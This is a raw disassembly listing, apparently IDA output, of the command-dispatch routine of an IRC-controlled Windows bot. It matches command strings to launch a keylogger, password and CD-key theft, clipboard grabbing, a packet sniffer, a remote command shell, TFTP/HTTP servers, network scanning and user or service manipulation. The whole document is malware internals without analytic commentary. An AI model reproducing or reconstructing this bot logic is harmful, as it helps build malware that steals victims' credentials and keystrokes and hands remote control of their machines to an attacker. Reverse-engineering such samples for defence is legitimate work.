loc_40D633: ; CODE XREF: sub_40C50A+110Fj
push edi
push offset aTftpstop ; "tftpstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D65C
push [ebp+esi+var_90]
push 4
push offset aServer_3 ; "Server"
push offset aTftp ; "[TFTP]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D65C: ; CODE XREF: sub_40C50A+1138j
push edi
push offset aFindfilestop ; "findfilestop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412286
push edi
push offset aFfstop ; "ffstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412286
push edi
push offset aProcsstop ; "procsstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412271
push edi
push offset aPsstop ; "psstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412271
push edi
push offset aClonestop ; "clonestop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D6D9
push [ebp+esi+var_90]
push 17h
push offset aClone ; "Clone"
push offset aClones ; "[CLONES]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D6D9: ; CODE XREF: sub_40C50A+11B5j
push edi
push offset aSecurestop ; "securestop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D702
push [ebp+esi+var_90]
push 19h
push offset aSecure_0 ; "Secure"
push offset aSecure_1 ; "[SECURE]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D702: ; CODE XREF: sub_40C50A+11DEj
push edi
push offset aScanstop ; "scanstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D72B
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aScan_0 ; "[SCAN]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D72B: ; CODE XREF: sub_40C50A+1207j
push edi
push offset aScanstats ; "scanstats"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41225B
push edi
push offset aStats ; "stats"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41225B
push edi
push offset aReconnect ; "reconnect"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41223A
push edi
push offset aR_0 ; "r"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41223A
push edi
push offset aDisconnect ; "disconnect"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412218
push edi
push offset aDc ; "dc"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412218
push edi
push offset aQuit_1 ; "quit"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4121D0
push edi
push offset aQ ; "q"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4121D0
push edi
push offset aStatus ; "status"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412192
push edi
push offset aS_12 ; "s"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412192
push edi
push offset aId ; "id"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41215B
push edi
push offset aI_0 ; "i"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41215B
push edi
push offset aReboot ; "reboot"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D879
call sub_409D0C
test eax, eax
mov eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
jnz short loc_40D84B
mov eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot system."
loc_40D84B: ; CODE XREF: sub_40C50A+133Aj
push eax
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 1Ch
jmp loc_40CE3C
; ---------------------------------------------------------------------------
loc_40D879: ; CODE XREF: sub_40C50A+132Cj
push edi
push offset aThreads ; "threads"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41206A
push edi
push offset aT ; "t"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41206A
push edi
push offset aAliases ; "aliases"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41204A
push edi
push offset aAl ; "al"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41204A
push edi
push offset aLog_0 ; "log"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411F5A
push edi
push offset aLg ; "lg"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411F5A
push edi
push offset aClearlog ; "clearlog"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411F3E
push edi
push offset aClg ; "clg"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411F3E
push edi
push offset aNetinfo ; "netinfo"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411F07
push edi
push offset aNi ; "ni"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411F07
push edi
push offset aSysinfo ; "sysinfo"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411EDC
push edi
push offset aSi ; "si"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411EDC
push edi
push offset aRemov10e ; "remov10e"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411EA2
push edi
push offset aRemov10e2 ; "remov10e2"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411EA2
push edi
push offset aProcs ; "procs"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411D8E
push edi
push offset aPs ; "ps"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411D8E
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411D64
push edi
push offset aKey ; "key"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411D64
push edi
push offset aUptime ; "uptime"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411CE0
push edi
push offset aUp ; "up"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411CE0
push edi
push offset aDriveinfo ; "driveinfo"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411CC3
push edi
push offset aDrv ; "drv"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411CC3
push edi
push offset aTestdlls ; "testdlls"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411CAA
push edi
push offset aDll ; "dll"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411CAA
push edi
push offset aOpencmd ; "opencmd"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411C63
push edi
push offset aOcmd ; "ocmd"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411C63
push edi
push offset aCmdstop ; "cmdstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40DAC4
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40DAC4: ; CODE XREF: sub_40C50A+15A0j
push edi
push offset aWho ; "who"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40DB51
cmp [ebp+var_8], ebx
jnz short loc_40DAF4
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_40DAF4: ; CODE XREF: sub_40C50A+15CEj
mov edi, [ebp+arg_18]
xor esi, esi
loc_40DAF9: ; CODE XREF: sub_40C50A+1635j
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40DB05
mov eax, offset aEmpty ; "<Empty>"
loc_40DB05: ; CODE XREF: sub_40C50A+15F4j
push eax
push esi
lea eax, [ebp+var_2DC]
push offset aD_S ; "%d. %s"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40DAF9
push offset aMainLoginListC ; "[MAIN]: Login list complete."
loc_40DB46: ; CODE XREF: sub_40C50A+5C4Cj
call sub_4035E1
pop ecx
jmp loc_41263B
; ---------------------------------------------------------------------------
loc_40DB51: ; CODE XREF: sub_40C50A+15C9j
push edi
push offset aGetclip ; "getclip"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411C22
push edi
push offset aGc ; "gc"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411C22
push edi
push offset aFlusharp ; "flusharp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411BF7
push edi
push offset aFarp ; "farp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411BF7
push edi
push offset aFlushdns ; "flushdns"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411BD3
push edi
push offset aFdns ; "fdns"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411BD3
push edi
push offset aCurrentip ; "currentip"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411B96
push edi
push offset aCip ; "cip"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411B96
push edi
push offset aRloginserver ; "rloginserver"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411A3A
push edi
push offset aRlogin ; "rlogin"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411A3A
push edi
push offset aHttpserver ; "httpserver"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4118C4
push edi
push offset aHttp ; "http"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4118C4
push edi
push offset aTftpserver ; "tftpserver"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411786
push edi
push offset aTftp_0 ; "tftp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411786
push edi
push offset aCrash ; "crash"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40DCDD
lea eax, [ebp+var_2DC]
push offset aMainCrashingBo ; "[MAIN]: Crashing bot."
push eax
call sub_418D70
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_40DCBC
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_40DCBC: ; CODE XREF: sub_40C50A+1794j
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
mov [esp+10h+var_10], offset aCrash_0 ; "crash"
push [ebp+esi+var_80]
call sub_419360
jmp loc_4127C7
; ---------------------------------------------------------------------------
loc_40DCDD: ; CODE XREF: sub_40C50A+177Cj
push edi
push offset aFindpass ; "findpass"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4116DF
push edi
push offset aFp ; "fp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4116DF
push edi
push offset aFofofo2 ; "fofofo2"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4113E4
push edi
push offset aSfofofo2a ; "sfofofo2a"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4113E4
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40C97C
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4113CB
push [ebp+arg_8]
push offset aN ; "n"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4113CB
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4113AB
push [ebp+arg_8]
push offset aJ ; "j"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4113AB
push [ebp+arg_8]
push offset aPart_1 ; "part"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411392
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411392
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41135B
push [ebp+arg_8]
push offset aR_2 ; "r"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41135B
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411298
push [ebp+arg_8]
push offset aK ; "k"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411298
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4111EF
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4111EF
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411198
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411198
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411183
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411183
push [ebp+arg_8]
push offset aOpen_0 ; "open"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411159
push [ebp+arg_8]
push offset aO ; "o"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411159
push [ebp+arg_8]
push offset aS3rv3rfg ; "s3rv3rfg"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411134
push [ebp+arg_8]
push offset aS3rv3rfg2 ; "s3rv3rfg2"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411134
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41109C
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_41109C
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411070
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411070
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411015
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_411015
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410FDE
push [ebp+arg_8]
push offset aDel ; "del"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410FDE
push [ebp+arg_8]
push offset aGet_2 ; "get"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410EFD
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410EFD
push [ebp+arg_8]
push offset aList_0 ; "list"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410EE2
push [ebp+arg_8]
push offset aLi ; "li"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410EE2
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410E04
push [ebp+arg_8]
push offset aV ; "v"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410E04
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410DC9
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410DC9
push [ebp+arg_8]
push offset aCmd_0 ; "cmd"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410D7E
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410D7E
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410CF9
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_410CF9
push [ebp+arg_8]
push offset aPsniff_0 ; "psniff"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40E225
push edi
push offset aOn ; "on"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40E1ED
push 18h
call sub_416433
test eax, eax
pop ecx
jle short loc_40E11A
push offset aPsniffAlreadyR ; "[PSNIFF]: Already running."
jmp loc_40E361
; ---------------------------------------------------------------------------
loc_40E11A: ; CODE XREF: sub_40C50A+1C04j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_464], eax
jnz short loc_40E15C
mov esi, offset aFa ; "#fa"
push offset dword_491D84
push esi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E15C
mov esi, [ebp+var_8C]
loc_40E15C: ; CODE XREF: sub_40C50A+1C34j
; sub_40C50A+1C4Aj
push esi
lea eax, [ebp+var_4EC]
push 80h
push eax
call sub_418EF0
lea eax, [ebp+var_2DC]
push offset aPsniffCarnivor ; "[PSNIFF]: Carnivore packet sniffer acti"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 18h
push eax
call sub_4161EB
add esp, 20h
mov [ebp+var_46C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_40B86A
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_46C]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40E1DC
loc_40E1C6: ; CODE XREF: sub_40C50A+1CD0j
cmp [ebp+var_460], ebx
jnz loc_4125A2
push 32h
call ds:dword_4942D8
jmp short loc_40E1C6
; ---------------------------------------------------------------------------
loc_40E1DC: ; CODE XREF: sub_40C50A+1CBAj
call ds:dword_4942F0
push eax
push offset aPsniffFailedTo ; "[PSNIFF]: Failed to start sniffer threa"...
jmp loc_412593
; ---------------------------------------------------------------------------
loc_40E1ED: ; CODE XREF: sub_40C50A+1BF4j
push edi
push offset aOff ; "off"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_4125A2
push ebx
push 18h
call sub_4163E6
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40E21B
push eax
push offset aPsniffCarniv_0 ; "[PSNIFF]: Carnivore stopped. (%d thread"...
jmp loc_412593
; ---------------------------------------------------------------------------
loc_40E21B: ; CODE XREF: sub_40C50A+1D04j
push offset aPsniffNoCarniv ; "[PSNIFF]: No Carnivore thread found."
jmp loc_40E361
; ---------------------------------------------------------------------------
loc_40E225: ; CODE XREF: sub_40C50A+1BDFj
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40E2F5
push edi
push offset aOn_0 ; "on"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E2C0
push 2
call sub_416433
test eax, eax
pop ecx
jle short loc_40E263
push offset aIdentAlreadyRu ; "[IDENT]: Already running."
jmp loc_40E361
; ---------------------------------------------------------------------------
loc_40E263: ; CODE XREF: sub_40C50A+1D4Dj
lea eax, [ebp+var_2DC]
push offset aIdentdServer_0 ; "[IDENTD]: Server running on Port: 113."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 2
push eax
call sub_4161EB
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_40823C
push ebx
push ebx
call ds:dword_4942F4
imul esi, 234h
cmp eax, ebx
mov dword_44D06C[esi], eax
jnz loc_4125A2
call ds:dword_4942F0
push eax
push offset aIdentdFailed_0 ; "[IDENTD]: Failed to start server, error"...
jmp loc_412593
; ---------------------------------------------------------------------------
loc_40E2C0: ; CODE XREF: sub_40C50A+1D41j
push edi
push offset aOff_0 ; "off"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_4125A2
push ebx
push 2
call sub_4163E6
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40E2EE
push eax
push offset aIdentServerSto ; "[IDENT]: Server stopped. (%d thread(s) "...
jmp loc_412593
; ---------------------------------------------------------------------------
loc_40E2EE: ; CODE XREF: sub_40C50A+1DD7j
push offset aIdentNoThreadF ; "[IDENT]: No thread found."
jmp short loc_40E361
; ---------------------------------------------------------------------------
loc_40E2F5: ; CODE XREF: sub_40C50A+1D2Cj
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40E477
push edi
push offset aOn_1 ; "on"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40E374
push edi
push offset aFile ; "file"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40E374
push edi
push offset aOff_1 ; "off"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_4125A2
push ebx
push 1Ah
call sub_4163E6
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40E35C
push eax
push offset aKeylogKeyLogge ; "[KEYLOG]: Key logger stopped. (%d threa"...
jmp loc_412593
; ---------------------------------------------------------------------------
loc_40E35C: ; CODE XREF: sub_40C50A+1E45j
push offset aKeylogNoKeyLog ; "[KEYLOG]: No key logger thread found."
loc_40E361: ; CODE XREF: sub_40C50A+1C0Bj
; sub_40C50A+1D16j ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
pop ecx
pop ecx
jmp loc_4125A2
; ---------------------------------------------------------------------------
loc_40E374: ; CODE XREF: sub_40C50A+1E11j
; sub_40C50A+1E22j
push 1Ah
call sub_416433
test eax, eax
pop ecx
jle short loc_40E387
push offset aKeylogAlreadyR ; "[KEYLOG]: Already running."
jmp short loc_40E361
; ---------------------------------------------------------------------------
loc_40E387: ; CODE XREF: sub_40C50A+1E74j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
push offset aFile_0 ; "file"
mov [ebp+var_468], eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E3B6
mov [ebp+var_464], 1
jmp short loc_40E3BF
; ---------------------------------------------------------------------------
loc_40E3B6: ; CODE XREF: sub_40C50A+1E9Ej
mov eax, [ebp+var_8]
mov [ebp+var_464], eax
loc_40E3BF: ; CODE XREF: sub_40C50A+1EAAj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_40E3E6
mov esi, offset aFfkey ; "#ffKey"
push offset dword_491D88
push esi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E3E6
mov esi, [ebp+var_8C]
loc_40E3E6: ; CODE XREF: sub_40C50A+1EBEj
; sub_40C50A+1ED4j
push esi
lea eax, [ebp+var_4E8]
push 80h
push eax
call sub_418EF0
lea eax, [ebp+var_2DC]
push offset aKeylogKeyLog_0 ; "[KEYLOG]: Key logger active."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 1Ah
push eax
call sub_4161EB
add esp, 20h
mov [ebp+var_4EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_4085A9
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_4EC]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40E466
loc_40E450: ; CODE XREF: sub_40C50A+1F5Aj
cmp [ebp+var_460], ebx
jnz loc_4125A2
push 32h
call ds:dword_4942D8
jmp short loc_40E450
; ---------------------------------------------------------------------------
loc_40E466: ; CODE XREF: sub_40C50A+1F44j
call ds:dword_4942F0
push eax
push offset aKeylogFailedTo ; "[KEYLOG]: Failed to start logging threa"...
jmp loc_412593
; ---------------------------------------------------------------------------
loc_40E477: ; CODE XREF: sub_40C50A+1DFCj
push [ebp+arg_8]
push offset aNet ; "net"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40E798
cmp dword_44B790, ebx
jz short loc_40E4A8
cmp dword_44B7B8, ebx
jz short loc_40E4A8
push offset aNetFailedToLoa ; "[NET]: Failed to load advapi32.dll or n"...
jmp loc_40E752
; ---------------------------------------------------------------------------
loc_40E4A8: ; CODE XREF: sub_40C50A+1F8Aj
; sub_40C50A+1F92j
cmp [ebp+var_C], ebx
jz loc_40E760
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40E4D0
push eax
push [ebp+var_C]
call sub_419AB0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_40E4D0: ; CODE XREF: sub_40C50A+1FB6j
push edi
push offset aStart ; "start"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E536
cmp [ebp+arg_18], ebx
jz short loc_40E50A
push [ebp+arg_0]
push 3
call sub_409EB6
push eax
push offset aS_13 ; "%s"
loc_40E4F6: ; CODE XREF: sub_40C50A+204Dj
; sub_40C50A+2070j ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 14h
jmp loc_40E760
; ---------------------------------------------------------------------------
loc_40E50A: ; CODE XREF: sub_40C50A+1FDAj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A15D
add esp, 0Ch
test eax, eax
jz short loc_40E52C
push offset aNetServiceList ; "[NET]: Service list completed."
jmp loc_40E752
; ---------------------------------------------------------------------------
loc_40E52C: ; CODE XREF: sub_40C50A+2016j
push offset aNetServiceLi_0 ; "[NET]: Service list failed."
jmp loc_40E752
; ---------------------------------------------------------------------------
loc_40E536: ; CODE XREF: sub_40C50A+1FD5j
push edi
push offset aStop ; "stop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E559
push [ebp+arg_0]
push 4
call sub_409EB6
push eax
push offset aS_14 ; "%s"
jmp short loc_40E4F6
; ---------------------------------------------------------------------------
loc_40E559: ; CODE XREF: sub_40C50A+203Bj
push edi
push offset aPause ; "pause"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E57F
push [ebp+arg_0]
push 5
call sub_409EB6
push eax
push offset aS_15 ; "%s"
jmp loc_40E4F6
; ---------------------------------------------------------------------------
loc_40E57F: ; CODE XREF: sub_40C50A+205Ej
push edi
push offset aContinue ; "continue"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E5A5
push [ebp+arg_0]
push 6
call sub_409EB6
push eax
push offset aS_16 ; "%s"
jmp loc_40E4F6
; ---------------------------------------------------------------------------
loc_40E5A5: ; CODE XREF: sub_40C50A+2084j
push edi
push offset aDelete_0 ; "delete"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E5CB
push [ebp+arg_0]
push 1
call sub_409EB6
push eax
push offset aS_17 ; "%s"
jmp loc_40E4F6
; ---------------------------------------------------------------------------
loc_40E5CB: ; CODE XREF: sub_40C50A+20AAj
push edi
push offset aShare ; "share"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40E653
cmp [ebp+arg_18], ebx
jz short loc_40E626
cmp [ebp+var_9C4], bl
jz short loc_40E5FC
push ebx
push [ebp+arg_18]
push 1
call sub_40A29A
push eax
push offset aS_18 ; "%s"
jmp short loc_40E612
; ---------------------------------------------------------------------------
loc_40E5FC: ; CODE XREF: sub_40C50A+20DDj
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
call sub_40A29A
push eax
push offset aS_19 ; "%s"
loc_40E612: ; CODE XREF: sub_40C50A+20F0j
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 18h
jmp loc_40E760
; ---------------------------------------------------------------------------
loc_40E626: ; CODE XREF: sub_40C50A+20D5j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A48F
add esp, 10h
test eax, eax
jz short loc_40E649
push offset aNetShareListCo ; "[NET]: Share list completed."
jmp loc_40E752
; ---------------------------------------------------------------------------
loc_40E649: ; CODE XREF: sub_40C50A+2133j
push offset aNetShareListFa ; "[NET]: Share list failed."
jmp loc_40E752
; ---------------------------------------------------------------------------
loc_40E653: ; CODE XREF: sub_40C50A+20D0j
push edi
push offset aUser_2 ; "user"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40E705
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40E6DE
cmp [ebp+var_9C4], bl
jz short loc_40E694
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push ebx
push eax
push 1
call sub_40A5B0
push eax
push offset aS_20 ; "%s"
jmp short loc_40E6CA
; ---------------------------------------------------------------------------
loc_40E694: ; CODE XREF: sub_40C50A+216Bj
push [ebp+var_4]
mov esi, [ebp+esi+var_88]
cmp esi, ebx
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_40E6BB
push esi
push eax
push ebx
call sub_40A5B0
push eax
push offset aS_21 ; "%s"
jmp short loc_40E6CA
; ---------------------------------------------------------------------------
loc_40E6BB: ; CODE XREF: sub_40C50A+219Fj
push ebx
push eax
push 2
call sub_40A5B0
push eax
push offset aS_22 ; "%s"
loc_40E6CA: ; CODE XREF: sub_40C50A+2188j
; sub_40C50A+21AFj
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 24h
jmp loc_40E760
; ---------------------------------------------------------------------------
loc_40E6DE: ; CODE XREF: sub_40C50A+2163j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40AAC4
add esp, 10h
test eax, eax
jz short loc_40E6FE
push offset aNetUserListCom ; "[NET]: User list completed."
jmp short loc_40E752
; ---------------------------------------------------------------------------
loc_40E6FE: ; CODE XREF: sub_40C50A+21EBj
push offset aNetUserListFai ; "[NET]: User list failed."
jmp short loc_40E752
; ---------------------------------------------------------------------------
